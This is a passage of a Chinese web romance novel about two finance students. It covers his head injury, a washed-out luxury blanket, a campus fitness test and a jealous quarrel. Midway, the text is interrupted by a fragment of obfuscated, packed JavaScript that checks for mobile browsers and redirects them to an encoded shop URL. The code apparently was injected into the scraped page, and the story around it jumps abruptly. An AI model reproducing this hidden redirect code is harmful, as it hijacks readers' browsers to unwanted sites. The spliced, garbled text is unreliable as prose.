俞惟叙脑子一热,直接两步上前,把她整个人抱进怀里。 这招果然奏效,祝岁祯似乎被吓住了,没再顾上哭。 怀里的人发丝间萦绕着淡淡的香气,纤瘦的身子又凉又软,因为紧贴着,俞惟叙能轻易感受到她每一次因为哽咽而颤动的气息。 他大掌抚在她后脑勺和后背,轻轻拍了拍: “别又哭又鞠躬的,我还没死呢……” 祝岁祯反应过来自己竟然被他抱着,赶紧后退一步。俞惟叙也适时松开手:“你刚才太吓人了。” 她透过泪眼,又痛心又抱歉地看着他。在M大简直是万人迷的俞惟叙,额头上贴着好大一块渗血的纱布。 “对不起……我真的没想到我大伯他……” “哎呀,别提了,小伤而已简单缝了两针,这都不算事。我小时候滑雪骑马攀岩受的伤比这严重多了。” 见祝岁祯还是自责地流眼泪,俞惟叙无奈地按住她双肩,把她推到沙发前让她坐下,抽了几张纸巾塞她手里。 “哎哟,小哭猫啊,大早上的不睡懒觉,跑我这里嗷嗷哭啊……” 俞惟叙坐在她旁边,颇觉好笑地看她擦眼泪擤鼻涕,漂漂亮亮的一张小脸搞得乱七八糟。 “啧,你怎么只穿个睡衣就出来了!” 他皱着眉,上手捏了捏她胳膊,还真是,薄薄一层棉布,这么冷的天就这样跑过来? 他转身看了看,从沙发边角捞过来一条羊毛羊绒混织薄毯,上周陈姨送来的,看着应该是新的。 “你呀!哎呀!冻感冒了怎么办!” 俞惟叙把它展开,包裹住她。 祝岁祯顶着两个红肿的眼圈,看着俞惟叙额头的纱布:“出血了,很疼吧?” 俞惟叙轻轻碰了下:“没事儿,我早上醒了忘了头上还有这个东西,不小心碰到了,一点点血而已,不碍事。” “会留疤吗?”她紧张地问。 俞惟叙给她一个安心的笑容:“不用担心,我从小到大缝过好多次针了,不是疤痕体质,能恢复。” 祝岁祯拿出手机:“你医药费花了多少,告诉我吧,我转给你。” 俞惟叙立刻把她手按住:“不用,没多少钱。要赔也是你大伯赔,跟你半毛钱关系都没有。” “但你是因为我才受的伤啊,本来请你帮忙已经很不好意思了。” “冤有头债有主,你别什么都往自己身上揽,是我选择去见他的。” 祝岁祯的手机响起,她一看,是妈妈。 “祯祯啊!你怎么突然就没消息了,妈给你转的钱看见了吗?给你同学买点营养品啊。” 祝岁祯看了一眼俞惟叙。他明显是听到了,唇角扬了起来。 她只好说:“妈,我来找这个同学了,他额头流了好多血啊……” 俞惟叙听不下去了,就只是纱布上沁点儿血,怎么就“流了好多血”了! 显得他像个挨打的弱鸡一样。 他直接凑过去对着她手机说话,和祝岁祯离得极近,几乎快要贴着脸了: “阿姨,我没事,一点小伤,您别让祝岁祯买东西了,我正常吃饭就行。” 祝岁祯赶紧往后仰了点,把手机麦克风往他那里移了移。 甄念:“哎哟!那怎么行!本来我们和祯祯她大伯家说,你们生意上的事,别牵扯正上学的小孩子。但是,真没办法了,她大伯跟我们以死相逼啊……唉,真是太对不起你了同学……。” 俞惟叙也不从祝岁祯手里接电话,就这么让她举着: “阿姨,我理解你们的难处,这才想着起码见一面,帮祝岁祯个忙。没关系,经过这个事,您两家应该也都能看清些。” 俞惟叙抬了抬下巴,示意她们母女俩聊。 因为有外人在,母女俩也没多说什么,甄念让她不要操心大伯家的事了,专心学习。 挂了电话,俞惟叙问她:“你吃早饭了吗?” 她摇摇头。 俞惟叙打开电视给她看,起身去热了两个三明治和两杯牛奶拿过来。 “凑合吃一点儿,别嫌弃,点外卖起码得二十分钟。” 祝岁祯赶紧接过来:“怎么可能嫌弃啊。你是病人,结果还得来照顾我……” 俞惟叙不乐意了:“什么病人,我好得很,头上有个小口子而已,不要小看强壮的鱼仔。” 她不安地问:“昨晚,具体是怎么回事啊?” 俞惟叙喝了口牛奶:“没什么,就是他想商量,我说我没这个权力,让他去找公司负责这事的人。他见没什么希望了,就……冲动了一下。” 他其实不太想回忆昨晚,如果不是亲眼所见,他实在不敢相信那个体型起码有祝岁祯四五倍的人,是她的亲大伯…… 虽然祝岁祯给他打了预防针,但祝金显的离谱程度还是超出了俞惟叙的想象。 那人看起来好像在恭维他,求他办事,实际上言语里都是对他年纪小、富二代身份的不屑,讽刺他没了有钱妈就只是剩脸。 俞惟叙说自己帮不了忙,那人就换了副嘴脸,痛哭流涕跪下来求他,说他是独生子、家里一定很宠,只要他开口关总一定会同意的…… 他压着脾气跟祝金显解释,公司有公司的规定,他没这个权力,他真是看在祝岁祯的面子上,才跟祝金显费这么多口舌。 见俞惟叙要走,祝金显似乎觉得自己都已经这么不要脸了,低三下四地求一个小孩儿,对方居然还不给面子。恶从胆边生,直接抄起凳子砸向俞惟叙的后脑,往死里下手。 好在祝金显动静大,俞惟叙从餐厅夜晚反光的外墙玻璃上看到了,他回身一闪躲开致命一击。但因为凳子体积大,他没能完全避开攻击范围,凳子腿在他额头上砸了一道,鲜血顿时顺着脸流了下来。 服务员高喊一声,店内其他男服务员和店长都赶来了,七手八脚地制服祝金显,立刻打了报警电话。店员给俞惟叙简单处理了下伤口,然后就是医院缝针、做笔录…… 因为担心祝金显又找祝岁祯逼着她干这干那的,俞惟叙就没追究责任,只让派出所按照条例关这人几天。 也没敢带着伤回家,万一让关理之知道了,她不会善罢甘休的,到时候依旧会给祝岁祯带来麻烦。 所以他躲在小宿舍养伤,刚好被祝岁祯找到了。 38.第三十八章 思绪收回,俞惟叙打开三明治,听到祝岁祯说:“中午你吃什么啊?我给你订些补血的饭菜吧……” 他无奈笑道:“真不用……我一个大男人……” 放下手里的东西,他豪迈地撸起袖子,给祝岁祯展示自己强健的胳膊。 “来,你摸摸,哥很壮的,这点小伤算什么?” 一边说着,一边暗暗发力。 肌肉块块隆起,她直观地感受他爆棚的男性荷尔蒙和战斗力。 “哎哟我……”祝岁祯迅速别过脸,摆摆手,表示自己不看。 俞惟叙不依不饶,无论如何也不能忍受祝岁祯把他当做一朵娇花,捏着她手“啪”地一下,按在自己的肱二头肌上。 祝岁祯吃了一惊,想要抽回手,但俞惟叙骨节分明的大掌在她手背上覆着,甚至还往下压。她的手丝毫都动不了。 蓬勃有力的肌肉和热乎乎的掌心上下夹击,祝岁祯觉得自己那只手像是被放进了电饼铛,一会儿就要熟了! 但先熟透了的,是她的脸颊。 祝岁祯简直要疯:“好好好我知道了,你超厉害,先把我的手还给我……” 俞惟叙绝不会这么轻易地放过她,轻轻松松按着她的手,好整以暇地逼问:“哥壮吗?” “壮!太强壮了!……” “这点小伤算个事儿吗?” “不算,不算……” “以后还会低估哥的实力吗?” “不会……真不会……” 他满意地松开,愉快地欣赏她红红的脸蛋。 祝岁祯赶紧抽出手,起身:“你没事的话我就先走了……” “哎!别走啊!”他拉着祝岁祯的睡衣衣角,“饭还没吃。” 祝岁祯拿起三明治:“谢谢啦,我拿这个走……” 俞惟叙握住她细细的腕子:“不行,坐下,陪我吃完再走。” 她没招儿了,只好坐得离他远一点。 两人一边吃,一边看电视。电影频道在播放一个谍战片,祝岁祯迅速入了迷,紧张地猜剧情。 三明治啃完了,祝岁祯记下电影片名,想回去自己搜来看。俞惟叙见她恋恋不舍地看屏幕,直接说:“这电影挺好看的,你看完再走吧。” 他脱了鞋窝在宽大的沙发里,枕着靠背拍了拍旁边的位置:“你也躺这里吧,鞋子可以脱了,脚踩在沙发上没关系的,明天阿姨就过来大扫除了。” 祝岁祯看了眼电视,正播到紧张的地方,男主为了保住自己隐藏的身份,如同走钢丝般在和反派大魔王周旋。祝岁祯也顾不得许多,道了谢,屁股往后挪,背部和头颈陷进软绵绵的沙发靠背里。 俞惟叙把薄毯盖在她身上,两人边看边讨论剧情。 他只留了三分之一的注意力在电影上,时不时悄悄转头,偷笑着看她无比投入地沉浸在打斗、权谋和爱恨纠葛里,她甚至还紧张地抓着毯子…… 像极了欠儿姐看动画片的模样,忘记周围的一切。 电影快到尾声,主线剧情已经结束,现在播放的是多年后几个主角相遇后令人唏嘘的场景。 祝岁祯突然发现,自己不知道什么时候也脱了鞋,腿蜷在沙发上把这里当自己家了……赶快把脚伸下去放鞋子上。 俞惟叙侧着头看她一连串的动作,知道她快回去了,有点失落。感觉到祝岁祯好像要转头看自己,他灵机一动,保持着侧头的姿势闭上眼睛。 祝岁祯确实准备跟他说话来着,但愣住了。 俞惟叙睡着了。 意气风发的面容此刻沉静温柔,甚至有些乖巧的意味,像熟睡的小孩。 祝岁祯屏住了呼吸,安静而放肆地打量着这张脸,两张脸近到只有一本书的距离。 俞惟叙帅得很夺目,虽然知道不太礼貌,但祝岁祯跟他说话时一般不太看他,她会有点害羞。 明明和别的男生一样,都长着眼睛鼻子嘴,但他怎么就这么好看呢? 脑子里乱七八糟的念头飞速闪过,祝岁祯还盯着他看的时候,俞惟叙突然睁开眼,眼神一片清明,对上她的目光。 像是抓到她做坏事,俞惟叙唇角一勾。 祝岁祯猛地一个激灵,慌忙弯腰穿鞋。 俞惟叙抿着唇憋笑,装作无事发生,站起来自言自语:“我消炎药呢……忘了吃消炎药……” 祝岁祯赶快起来四处搜寻,帮他一起找。 人在尴尬的时候,就会装得很忙。 看着俞惟叙吃了药,没别的事了,祝岁祯拿上手机:“呃,那我先走了,你需要我帮你跑腿干点儿啥不?” 俞惟叙认真地想了想:“明早给我带个苹果。就大一的时候你给我的平安果,那种的。” “哦哦,好,没问题。” 祝岁祯要去开门,俞惟叙折回沙发,抓起薄毯:“先别走!披上这个。” 他递给她:“你也真行,这是十一月啊,就穿件单衣跑出来了。” 祝岁祯接过来,不好意思笑道:“刚起床洗漱完,听说你受伤了,想着赶快来探望一下……” 看着她把淡卡其色的毯子披在肩上,俞惟叙满意地点头:“很好,这么关心我,没白交你这个好朋友。” 祝岁祯笑了笑,拉开门出去:“哦对了,这个毯子我洗好了还给你。” 他听后,拎起毯子边角看了看,摸了摸:“不用,这两天还没供暖,你就拿着在宿舍盖吧,我用不着这东西。” “那怎么行,晚两天还你。我走啦,你有事了就喊我。”她披着毯子回宿舍。 宿舍里小羊和梦梦一个睡着,一个玩手机,远文已经出去做家教了。 她静悄悄地爬上床,把毯子盖在身上,在上面又盖了被子,软乎乎、暖洋洋地玩着手机,又睡着了。 梦里,一个昏暗幽深的石墙小巷,她举着手枪,枪口对准俞惟叙的心脏。 祝岁祯的头发烫成波浪卷盘在脑后,头戴黑色法式小礼帽,垂下的网纱朦朦胧胧地覆着面容。 一身绣花旗袍将她的身材勾勒得玲珑有致,而戴着丝绒手套举着枪的手,微微颤抖,出卖了她的内心。 俞惟叙梳着大背头,脸上一副金丝框眼镜,深灰三件套西装外是一件黑色的大衣,居高临下看着她,视死如归。 “事已至此,开枪吧。我俞某人为了民族大义,死得其所!” 祝岁祯痛苦地摇了摇头:“你是主角,还是我去死吧……” 俞惟叙按下她的枪:“你死之前,可以把薄毯还给我吗?那是我未婚妻的。” 祝岁祯刚要答应,俞惟叙突然大力将她扯进怀里:“小心!” 一声枪响,紧紧抱着她的俞惟叙身子猛然一颤,嘴角溢出鲜血。 祝岁祯吓坏了,扶着他缓缓倒下的身躯。子弹打进他额角,俞惟叙的目光渐渐涣散。 “不!不!你不要死……我还没给你买苹果……”祝岁祯流着泪哭喊。 俞惟叙气若游丝地勉强撑着:“我没事……我很壮……你摸我的胳膊……” 还没说完,就咽气了。 这时,一个中年女人突然出现在她身边: “小姐,我是俞先生的家政,他希望你继续潜伏在敌人内部。他有一封遗书,用摩斯密码绣在送您的薄毯上。” 祝岁祯醒了。 她揉揉眼,看了下时间,12点半。 突然,她想起什么,从被窝里抽出那个薄毯,翻来覆去地看。 哪里有什么摩斯密码…… 俞惟叙晚上也做了个梦,梦到祝岁祯只裹了件单薄的毛毯,逆着漫天风雪冻得浑身冰凉,哭着找过来说她喜欢他,不想他和别人谈恋爱结婚。 祝岁祯的每一滴泪,都在他心上砸了个洞,让他难过得要死。 俞惟叙立刻下了决心:去他的公司,老子不要了!就算穷到喝西北风,也要跟祝岁祯一起喝! 他单膝跪下,请求祝岁祯嫁给他,祝岁祯惊喜地捂着嘴巴,也不嫌弃他没有鲜花和戒指,开心地答应了。 两人幸福地亲吻,俞惟叙恨不得把她揉进身体。祝岁祯软得像布丁、像温温热热的豆腐、像小蛋糕上绵密的奶油。他们在客厅沙发上拥有彼此,获得生命的大和谐。 半夜醒来,俞惟叙一脸尴尬地进卫生间洗苦茶子。 -.- 周一早上,祝岁祯刚睁开眼,突然听见手机有消息提示音。 俞惟叙发来一个【苹果】的emoji。 她揉揉眼,笑了下,回他:【OK】 今天第一节是证券投资学大班课,祝岁祯和舍友们说她来占座,拎着塑料袋装了两个大苹果,到教室后她把两个苹果仔仔细细地洗了洗。 回到座位上,她对比了这俩苹果,挑出一个长得好看的,拿来给俞惟叙占座。 同学们陆续进教室,俞惟叙刚好和他舍友们一起进来,直奔着有苹果的那个位置去了,坐下就开始咔咔啃。 大黄:“这是你的苹果吗就吃?” 鸡哥:“鱼仔饿疯了?” 箫剑:“坏了,鱼仔被打到脑子了……” 鱼仔嚼嚼嚼,咽下:“就是我的苹果,白雪公主给我的苹果。” 鸡哥:“白雪……可不兴吃啊,她的苹果是从老巫婆那里来的!” 鱼仔:“大人,时代变了。” 随后,周围同学都围了过来,七嘴八舌地问他额头是怎么了。 俞惟叙一遍又一遍地解释:不小心撞的,缝了两针,谢谢关心,啊是的没错我依旧很帅。 女同学们说俞惟叙的个人造型在军训款、牛津款、回国款的基础上,新增了战损款,少了些贵气多了些野性。 下午上机课,祝岁祯一脸沉痛地走进机房,见俞惟叙正好来得早在看论文,就跟他说要赔他钱。 她把他那条薄毯洗坏了。 昨晚她以为那就是条普通的毯子,直接扔洗衣机想今天还给他,但中午去阳台一看,原本薄薄的平整的毯子缩水成毛茸茸的一条。 她赶紧识图了一下,发现这东西竟然又是爱马仕的,一万多让她给毁了…… 俞惟叙本来听她说,祝岁祯把他“很贵的东西”给弄坏了,还以为她什么时候进他卧室、碰他那两块几十万的表了呢……搞半天原来就一毯子。 他告诉她那就是配货而已,估计一直在家里储物间堆着。祝岁祯如果不来,他可能一俩月都没发现沙发上还有个毯子…… 总而言之是不用她赔,也不用还了,如果还能用就让她接着用。 感谢善良的大少爷,祝岁祯的钱袋子守住了。 其实俞惟叙昨天听她说要把毯子洗好了还给他,就知道会有这么个结局,所以就没让她还。 不然还能有个借口再见一面。 他知道有很多毛料织物不能水洗,但他又不好让祝岁祯再花钱干洗,本来就是他要让她拿走的。 -.- 接下来的几天,两人没太多交流。 祝岁祯主要是因为这一连串的事,搞得她没脸跟俞惟叙打交道,看见他就想起他的伤、他的毯子。 俞惟叙呢,也不太和祝岁祯说话,他怕自己跟祝岁祯来往多了,半夜又要洗内裤……他依稀记得军训的时候,自己曾经就因为这事努力避开她来着,历史总是惊人的相似。 自己对别的女生也没这样啊?难道这就是传说中的生理性喜欢?俞惟叙在教室的最后一排,出神地看向第一排那个背影。 -.- 俞惟叙刚拆了线,祝岁祯的基金从业就出成绩了,两科都是九十分出头。 俩宿舍都想着祝卷王应该会休息休息了吧,不,人家又开始琢磨网上的攻略,投寒假实习…… 这次祝岁祯瞄准了四大,她大一的时候就想去实习的、大名鼎鼎的外资会计师事务所。 虽说同学们大多都更倾向于去金融机构实习,但她发现其实财务和审计知识在金融工作中也很重要。 她觉得如果能有一段在四大的实习经历,会对以后找其他工作提供不小的帮助。退一万步来讲,四大的年审强度众所周知,如果扛得下来寒假实习的dirty work,最起码证明她能吃苦、能当驴使唤。 祝岁祯在这四家官网投简历时,心里默念:各位经理、各位合伙人,快看看我吧,我可是便宜又好用的牛马,走过路过不要错过…… 陆续投完简历,她开始针对性地准备学财务、审计的知识。因为四大是外资所,英语含量高,她又计划着学财税审计相关的英语。 所以她又苦哈哈地翻开书,上课搞成绩,下课搞实习,防止面试的时候一问三不知……俞惟叙也是被她卷得有点惊讶,心想M大的学生就业这么费劲吗?需要她这么拼? 但他什么也没说,仍旧没打扰她,默默写股票预测模型的作业。 下旬,风和日丽的双休日,正是进行大学生们“喜闻乐见”的体测的良辰吉日。 金融学院的体测被安排在周六下午,祝岁祯中午没敢吃得太饱,去足球场前闷头干下去一罐红牛,宿舍四人满怀悲壮地出发了。 风萧萧兮操场寒,四人一去兮……半死不活地还。 足球场上设置了好几个区域,有测肺活量的、有坐位体前屈的、有立定跳远的、有仰卧起坐的……当然,最惨无人道的就是八百米了,祝岁祯要把它放在最后,跑完直接回宿舍。 她先跟着舍友们去吹肺活量,正巧碰见俞惟叙的宿舍在等着跑下一批次的一千米。 小羊悄悄告诉她们:“大黄自从暑假游泳,看见俞惟叙的身材后,一直在锻炼,这回他估计想和俞惟叙比试比试。” 祝岁祯略尴尬地来回踱了几步,她听不得“俞惟叙的身材”这种字眼,某些奇怪的回忆会被勾起。 一声哨响,这批次十个人如离弦之箭冲了出去,俞惟叙跑在最前面。她们几个都啧啧称奇:一般体测长跑大家都会保存体力,这小伙子是不是傻? 祝岁祯只看了几眼,就被老师喊去吹肺活量了。运功似的狂吸一大口气,她以为自己一顿操作猛如虎,回头一看,成绩勉强及格…… 老师登记成绩,叫下一个学生。她退出来到队伍外面,一边等舍友,一边看俞惟叙和大黄跑步。 俩人很快就跑到测肺活量的区域了,小羊一看,队也不排了,迅速冲到跑道外侧,对着大黄喊:“袁烨煌加油!” 有了女朋友的鼓励,本来就存着和俞惟叙比赛的心思,大黄跟打了鸡血一样“唰唰”加快步速,超了俞惟叙两个身子的距离。 俞惟叙听见动静,分出注意力望向声音来源,结果一眼看到赵楚洋旁边站着的祝岁祯。 她两手插在外套兜里,唇边挂了盈盈的笑,视线追随着他的轨迹。 没人给俞惟叙加油,他却也提了速,和大黄齐头并进。 目送两男生幼稚地你追我赶,祝岁祯回头,见小羊不得不重新排队,她笑出了声。 在等梦梦和远文吹肺活量的过程中,祝岁祯惊讶地发现,俞惟叙第二圈竟然都没减速,已经把大黄甩在后面一点了。 甚至在经过她时,还有闲心给她比个OK的手势。 宿舍四人都测完肺活量,去测坐位体前屈的地方排队。祝岁祯站在最后一回头,见俞惟叙第三圈又跑了过来。 这圈他和同批次的人拉开的距离更大了,一马当先,依旧没减速,强得可怕。 见舍友们都没注意到,她转过身面对着俞惟叙,在离他二三十米的地方,给他竖了个大拇指。 俞惟叙看见后傲娇地扯下嘴角,百忙之中抽空回了她一秒的大拇指,然后风一样地经过。 祝岁祯接收到信号,笑着放下手,回头拍了拍小羊:“快,大黄要来了,给他加油。” 然后四个女生像拉拉队一样,排成一排给他鼓劲儿。大黄一听,立刻面目狰狞地提速爆冲,好像要燃烧掉最后一线生命,把四个女生笑得快不行了。 远远看着,好像还不错,俞惟叙第一个到终点,大黄临到头反超第二名,和俞惟叙拿下这组的前二。 祝岁祯测完能测的项目,最后只剩八百米。三年了,她一直没能过这道坎。 把学生卡交给老师,生无可恋地套上号码服,祝岁祯一脸悲壮地和舍友们互相看着。 哨声响起如同地狱的召唤,祝岁祯和九个女生冲了出去。 第一圈勉强凑合,但在离吹哨老师还有一小段距离的时候,祝岁祯感觉自己的力气断崖式减退,突然就跑不动了。 Oh!不!这体能怎么一年比一年差!她感觉自己老了!真可怕! 剩下的一圈就是纯咬牙坚持了。她努力保持匀速呼吸,心里吐槽学校干嘛要把体测安排在十一月下旬。 北京的空气又干又冷,大喘气的时候嗓子眼和气管别提多难受了。 体测的项目都在靠近足球场大门的那一侧,对面一侧除了跑八百的人,什么也没有。她正气喘吁吁地看着似乎永远也跑不到头的跑道,旁边一个人超过了她。 “祝岁祯!加油!祝岁祯!加油……” 祝岁祯无语:我去!俞惟叙! 她这一圈已经垫底,后面没人了,所以俞惟叙才来带她跑。 “祝岁祯!加油!祝岁祯!加油……” 俞惟叙小步跑在她斜前面,带着她稳住速度,祝岁祯咬牙跟上,不然真的会越跑越慢。 等快跑到测肺活量的地方,俞惟叙一边陪跑一边威胁她:“你要是跑不及格,我会一直嘲笑你到过年,哼哼。” 撂下这句钢铁直男含量爆表的话后,他离开了跑道。 呃啊啊啊你个臭鱼仔,本姑娘要把你先炸再炖!!! 她榨干骨头缝里最后一丝力气,攥着拳头疯了一样地往终点冲。虽然,她此刻的拼尽全力,在别人眼里只是慢跑的水平…… 终于,老师在她面前按下了秒表。 她死了一样的倒在地上。 体测老师:“哎哎哎,同学,让一让,挡着下一组的跑道了。” 祝岁祯死灰复燃,回光返照,凭借着最后一点点责任心带来的力气,狼狈地滚到旁边草坪上。 一声哨响,又有一批壮士受刑,地面震得闷响,然后渐渐消失。 梦梦在不远处坐着,一边喘气一边指着祝岁祯对远文说:“你看……祯祯……像不像……小说里的……那种……清冷……破碎美人……” 远文也喘着气:“像……这破碎感……绝了……” 祝岁祯无语地听着,只觉得自己现在像一块在马路上被车轧过无数次的、破破烂烂、脏了吧唧的塑料袋。 这时,她身后传来悠闲的声音:“破碎?谁破碎了?这才八百米就破碎了?你们站起来走走,刚跑完不能突然停下歇着。” 梦梦和远文强撑着,努力而缓慢地站起来,小羊早就在大黄的搀扶下走远了。 祝岁祯眼神涣散,气若游丝,一动不动。 就在这时,她余光瞥见一双腿走到旁边,紧接着她就被俞惟叙抓着胳膊拉起来,随后胳肢窝被他从身后两手掐住,她在毫无防备的状态下,整个人立了起来,脚甚至都没挨着地面。 祝岁祯被吓得一个激灵,周围这么多人呢! 她瞬间爆发出力量,赶快自己站直了,往前走了两步躲开他的手。 俞惟叙也迅速松开她。 祝岁祯惊魂未定地看了看周围,好在就这几秒的时间没人注意到他们俩,不然又要被说闲话了。 她看向他,眼神里分明在说:大哥你疯了啊! 俞惟叙笑笑:“还是可以走的嘛,逼自己一把就好了,你没你想得那么脆弱。” 祝岁祯心里吐槽:这是重点吗!! 俞惟叙往前走,经过她的时候低声说:“我看着呢,别担心。” 他过去和另外两人聊天:“梦梦是不是经常去锻炼啊?我看你跑得挺好。” 远文说:“对,她还学跳舞了。” 俞惟叙扭头对祝岁祯指了指梦梦:“听见没,多跟着舍友出去练练,别整天就知道闷在宿舍里。” 祝岁祯无言以对,全部的力气只够用来走路。 晃悠了一会儿,祝岁祯和舍友们准备回去,大黄和俞惟叙跟她们一起走。 祝岁祯她们宿测跑步之前,俞惟叙宿舍就已经全部测完了。鸡哥和箫剑先回去打游戏,大黄本来也想回,但小羊不让他走,大黄只好等着。 俞惟叙想看看祝岁祯,所以就借口陪大黄,也没提前走。 祝岁祯久不锻炼,猛地一下拼命跑八百,气管受不了这样的刺激,她走几步就要咳一下,俞惟叙看得有点儿揪心。 他正想着有什么办法能缓解她的症状,前面一个声音响起:“祯祯姐?你们测完啦?” 梦梦见是何希簏,眼睛亮了一下:“哈喽哇,Lucy~你准备去体测啦!” “梦梦学姐好。对,哇你们都测完了。”何希簏打完招呼,又看向祝岁祯,“你这是怎么了,生病了?” 祝岁祯伸出大拇哥往身后指了指:“八百要了我狗命,我回宿舍复活。” 何希簏拦住她:“我给你买点梨送去你宿舍吧,润肺的。或者你怕凉的话,枇杷糖怎么样?” 祝岁祯摆摆手:“不用,老毛病了,天冷剧烈运动会咳,一会儿就能好。” 何希簏还想说什么,俞惟叙站在最后突然发话:“咳嗽还在外面喝凉风?走吧。” “啊,学长好。” 何希麓这才看到俞惟叙,后者淡淡地点了点头。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17337623|198895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 祝岁祯简单一句:“走了哦,你加油。” 六个人继续往宿舍去,大黄惊奇地问俞惟叙:“这小帅哥怎么认识你呢?” 俞惟叙单手插兜跟着大家一起走,眼睛却盯着祝岁祯后脑勺:“因为我是大帅哥。” 祝岁祯听见这话,一边咳、一边笑道:“看来鱼仔知道颜值排行榜啊。” 梦梦问他:“怎么样,是不是有种艳压群芳的暗爽?” 大黄:“太闷骚了兄弟。” 大家你一言我一语地调侃俞惟叙,祝岁祯为了报复俞惟叙刚才在操场上的所作所为,也贡献了个瓜: “何希麓的女朋友说鱼仔是男神呢,还想从我这里加他好友,学弟之前告诉我说他因为这事跟女朋友生气了。” 梦梦瞪大眼:“卧槽,真假?” 小羊:“啊哈哈哈哈哈妈耶……” 大黄:“完了!学弟危矣!” 远文:“我知道我知道!他女朋友是不是外院那个学西班牙语的?上次歌手大赛还拿了二等奖。” 祝岁祯点头:“是滴是滴,他女朋友可活跃了,还有什么翻译大赛的奖。” 俞惟叙猝不及防地接收了一堆信息,拽了拽祝岁祯外套帽子:“这都什么玩意儿?怎么以前没听你说过?” 大黄笑道:“他急了他急了!是不是准备撬学弟墙角了!鱼仔你赶紧啊,我要看三角恋狗血大戏!” 梦梦促狭地看他:“鱼仔你终于要开窍了?想找女朋友了对不对?!” 祝岁祯像看好戏似的看着俞惟叙。 回到宿舍楼下,祝岁祯正要跟舍友们进去,手机却收到俞惟叙的消息: 【出来,有话聊】 祝岁祯借口要去学三小卖部买水,按照他发的信息,去了家属区放健身器材的地方。 俞惟叙一见她来,就不出她所料地问何希簏女朋友的事。 祝岁祯简单解释了下,就暑假那时候,他没同意加人家。 俞惟叙一听,眼神里充满了怀疑:“不会吧?你,主动请人家小情侣吃饭?不像是你这个性格会干的事啊?” 可恶,被他说中了!她不是那种热衷社交的人,别说请吃饭了,跟不熟的人连多聊句话都费劲。 但祝岁祯不想承认:“你又知道我什么性格了?这么了解我?” 他手插兜里气定神闲:“不够了解,但有一定的了解。” 她解释道:“学弟帮我找了实习,请顿饭应该的呀。正好女朋友在,那就一起呗。” 俞惟叙往前走了半步:“暑假的时候就想问你来着,你跟何希麓关系这么好吗?他有实习的资源没给别人,给你了?” “关系还不错啊,我忘了有没有给你说过,他是我邻居家的弟弟,后来高三转到我母校,我俩班主任都是同一个呢。而且他假期还总去我家蹭饭,让我给他讲题。” 俞惟叙的表情渐渐变得不太好,祝岁祯略微察觉到周围的低气压,就没说放假一起回家、一起放烟花什么的…… “你俩实习的时候一直在一起吗?” “对啊,我俩工位挨着,平时互相帮忙做任务,中午晚上有时候会一起吃饭。” 他紧追着问:“何希麓女朋友不吃醋吗?你之前跟他传的那些八卦,她不知道吗?” 祝岁祯突然心虚,有一点尴尬。而俞惟叙目光锐利,没漏掉她一丝一毫的反应。 “知道啊,当然知道了。人家女朋友很好的,不至于就吃醋。我俩吃饭时相谈甚欢~” 祝岁祯不想说实情,毕竟有点尬。况且这也不算说瞎话,确实相谈甚欢,虽然只是在有关俞惟叙的话题上甚欢罢了…… “人家俩感情可好了,实习的时候,小学妹每周五都坐高铁来找他过双休日,甜着呢。” 俞惟叙眉头一皱:“女生每星期来找他?他去找过女朋友吗?” 祝岁祯:“呃……我没问……” “你们周六日要加班吗?” “不用。” 俞惟叙慢条斯理地分析:“你不觉得,他女朋友是来查岗的吗?那姓何的学弟对你有点过于体贴了,你没发现吗?” 她尴尬笑笑:“呵呵,没有吧,而且我很注意分寸的。” 俞惟叙正色道:“你有分寸,他不一定有,你得跟他说明白了。” 他继续说:“还记得那个叫辛君的学长吗?他女朋友就是之前去伦敦交换,然后来找我的那个。她说她看出来辛君喜欢你,故意撺掇辛君分手去追你的,因为她想分手。” 祝岁祯反应了一会儿……然后愣在原地。 俞惟叙见她想起来了,就严肃地跟她说:“我大一走之前就告诫过你,是不是?别和有女朋友的男生多接触,别给他们笑脸,你听进去没有? “祝岁祯,这些事、这些八卦谣言,都没给你教训吗?” 她有些生气了:“我已经很努力在避嫌了好吗?甚至除了他,我认识的男生里就你们宿舍这几个了。还要我怎么样?” 她没办法告诉他,她还有家里爸妈工作上的这层关系在,不能对何希簏太冷淡。 俞惟叙盯着她,像下命令似的:“那就再努力一点,不要对他笑,见面点个头就行了。他看你的眼神不对劲。” 祝岁祯不明白,他为什么对她越管越多了,明明最该避嫌的是他。 “我忙着实习忙着考试,没工夫看谁什么眼神。我自己的事自己看着办,不用你管。” 她冷着脸撂下这句话,头也不回地走了。 -.- 十二月,祝岁祯投的实习陆续给了反馈。又是线上测评、又是电话约面试的,她忙得不得了。 看了各种经验帖、找人咨询,她定下了去金融组的目标,因为金融组相对来说出差很少,她不想大冬天的还要到处跑。 十二月下旬,祝岁祯拿到了两家的金融组实习offer,她开心接下了top1的,心痛地拒掉了另一家。 她在课堂上把邮件都回复了,舍友们既为她开心,又为她担心,担心她年审的时候要被累死。 但总体来说是好事,她整个人也轻松了不少。事情都处理完了之后,俞惟叙突然发来了消息。 【代码看了没】 祝岁祯猛地一惊,哎呀!忘了! 她和俞惟叙上次吵完架之后,谁也没理谁。刚好小羊和大黄也吵架了,闹着要分手,小羊不喜欢大黄总是玩那个破游戏。 于是两个宿舍有段时间没坐在一起了。 但俞惟叙实在太靠谱,自己把预测模型写完之后,给她发了封邮件。 邮件言简意赅,大意就是模型预测结果还可以,就直接带着她的名字一起提交了。顺便发她一份代码,有不会的可以来问。 祝岁祯当时简单回了个:【收到,谢谢。】 然后就把这事扔在脑后,专心搞她的面试了…… 她迅速查课表,后天下午就是金融与人工智能应用的最后一节课了,老师说会在课堂上提问模型相关的问题,估计是为了防止有人不干活只蹭成果。 哎呀呀真是的,差点儿就死了。她回复俞惟叙: 【抱歉,忙忘了,我下课回去就看!】 俞惟叙:【嗯】 她下了课之后,直接在食堂打包饭菜,回去一边大口塞饭、一边读代码。 好在这时候已经有几门课结课了,她时间还算充裕,一个下午加一个晚上,把模型看完,不会的查资料,剩下的总结了笔记,等着第二天问俞惟叙。 